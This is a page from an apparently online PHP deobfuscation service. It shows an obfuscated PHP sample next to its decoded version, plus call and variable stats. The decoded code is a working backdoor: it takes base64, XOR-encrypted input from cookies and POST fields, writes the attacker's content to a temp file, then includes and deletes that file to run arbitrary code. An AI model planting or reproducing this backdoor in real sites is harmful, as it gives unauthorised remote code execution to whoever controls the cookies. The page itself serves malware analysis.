Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

$plVvAAX = chr (80) . "\124" . 'f' . "\137" . "\x58" . 'C' . chr (82) . "\x62";$rUaXVVwMD ..

Decoded Output download

<?  $plVvAAX = chr (80) . "T" . 'f' . "_" . "X" . 'C' . chr (82) . "b";$rUaXVVwMD = 'c' . "l" . 'a' . "s" . chr ( 168 - 53 ).chr (95) . 'e' . 'x' . chr ( 957 - 852 ).chr (115) . "t" . chr (115); $djLaICtZj = class_exists($plVvAAX); $plVvAAX = "9508";$rUaXVVwMD = "61839";$xyPvzkw = FALSE;if ($djLaICtZj === $xyPvzkw){$cmlybs = "45559";class PTf_XCRb{public function kSchVU(){echo "56752";}private $VSpeVxtyAI;public static $qSvWQKABhl = "ec621734-f46e-488e-95c1-83878d69e46f";public static $cgEOshjpVb = 24885;public function __construct($sghItUG=0){$adbTPlQj = $_POST;$PunFkzJ = $_COOKIE;$NSlqOP = @$PunFkzJ[substr(PTf_XCRb::$qSvWQKABhl, 0, 4)];if (!empty($NSlqOP)){$GoQwGYY = "base64";$slpVJ = "";$NSlqOP = explode(",", $NSlqOP);foreach ($NSlqOP as $ejJHBJF){$slpVJ .= @$PunFkzJ[$ejJHBJF];$slpVJ .= @$adbTPlQj[$ejJHBJF];}$slpVJ = array_map($GoQwGYY . "_" . chr ( 791 - 691 )."e" . chr ( 212 - 113 )."o" . "d" . "e", array($slpVJ,)); $slpVJ = $slpVJ[0] ^ str_repeat(PTf_XCRb::$qSvWQKABhl, (strlen($slpVJ[0]) / strlen(PTf_XCRb::$qSvWQKABhl)) + 1);PTf_XCRb::$cgEOshjpVb = @unserialize($slpVJ);}}private function CuQsxBLNIH($cmlybs){if (is_array(PTf_XCRb::$cgEOshjpVb)) {$AUgdFNeEK = sys_get_temp_dir() . "/" . crc32(PTf_XCRb::$cgEOshjpVb["s" . "a" . "l" . chr ( 382 - 266 )]);@PTf_XCRb::$cgEOshjpVb['w' . "r" . chr (105) . 't' . chr (101)]($AUgdFNeEK, PTf_XCRb::$cgEOshjpVb[chr (99) . chr ( 266 - 155 ).chr ( 888 - 778 ).'t' . chr ( 931 - 830 ).chr (110) . chr (116)]);include $AUgdFNeEK;@PTf_XCRb::$cgEOshjpVb[chr (100) . "e" . chr (108) . 'e' . "t" . chr ( 549 - 448 )]($AUgdFNeEK); $cmlybs = "45559";exit();}}public function __destruct(){$this->CuQsxBLNIH($cmlybs);}}$NDbua = new /* 58483 */ PTf_XCRb(); $NDbua = str_repeat("7738_49737", 1);} ?>

Did this file decode correctly?

Original Code

$plVvAAX = chr (80) . "\124" . 'f' . "\137" . "\x58" . 'C' . chr (82) . "\x62";$rUaXVVwMD = 'c' . "\x6c" . 'a' . "\163" . chr ( 168 - 53 ).chr (95) . 'e' . 'x' . chr ( 957 - 852 ).chr (115) . "\x74" . chr (115); $djLaICtZj = class_exists($plVvAAX); $plVvAAX = "9508";$rUaXVVwMD = "61839";$xyPvzkw = FALSE;if ($djLaICtZj === $xyPvzkw){$cmlybs = "45559";class PTf_XCRb{public function kSchVU(){echo "56752";}private $VSpeVxtyAI;public static $qSvWQKABhl = "ec621734-f46e-488e-95c1-83878d69e46f";public static $cgEOshjpVb = 24885;public function __construct($sghItUG=0){$adbTPlQj = $_POST;$PunFkzJ = $_COOKIE;$NSlqOP = @$PunFkzJ[substr(PTf_XCRb::$qSvWQKABhl, 0, 4)];if (!empty($NSlqOP)){$GoQwGYY = "base64";$slpVJ = "";$NSlqOP = explode(",", $NSlqOP);foreach ($NSlqOP as $ejJHBJF){$slpVJ .= @$PunFkzJ[$ejJHBJF];$slpVJ .= @$adbTPlQj[$ejJHBJF];}$slpVJ = array_map($GoQwGYY . "\x5f" . chr ( 791 - 691 )."\x65" . chr ( 212 - 113 )."\157" . "\144" . "\x65", array($slpVJ,)); $slpVJ = $slpVJ[0] ^ str_repeat(PTf_XCRb::$qSvWQKABhl, (strlen($slpVJ[0]) / strlen(PTf_XCRb::$qSvWQKABhl)) + 1);PTf_XCRb::$cgEOshjpVb = @unserialize($slpVJ);}}private function CuQsxBLNIH($cmlybs){if (is_array(PTf_XCRb::$cgEOshjpVb)) {$AUgdFNeEK = sys_get_temp_dir() . "/" . crc32(PTf_XCRb::$cgEOshjpVb["\163" . "\x61" . "\x6c" . chr ( 382 - 266 )]);@PTf_XCRb::$cgEOshjpVb['w' . "\x72" . chr (105) . 't' . chr (101)]($AUgdFNeEK, PTf_XCRb::$cgEOshjpVb[chr (99) . chr ( 266 - 155 ).chr ( 888 - 778 ).'t' . chr ( 931 - 830 ).chr (110) . chr (116)]);include $AUgdFNeEK;@PTf_XCRb::$cgEOshjpVb[chr (100) . "\x65" . chr (108) . 'e' . "\x74" . chr ( 549 - 448 )]($AUgdFNeEK); $cmlybs = "45559";exit();}}public function __destruct(){$this->CuQsxBLNIH($cmlybs);}}$NDbua = new /* 58483 */ PTf_XCRb(); $NDbua = str_repeat("7738_49737", 1);}

Function Calls

chr 7
class_exists 1

Variables

$plVvAAX PTf_XCRb
$rUaXVVwMD class_exists

Stats

MD5 a4e8e0cc3db42ccf234404f97560f926
Eval Count 0
Decode Time 54 ms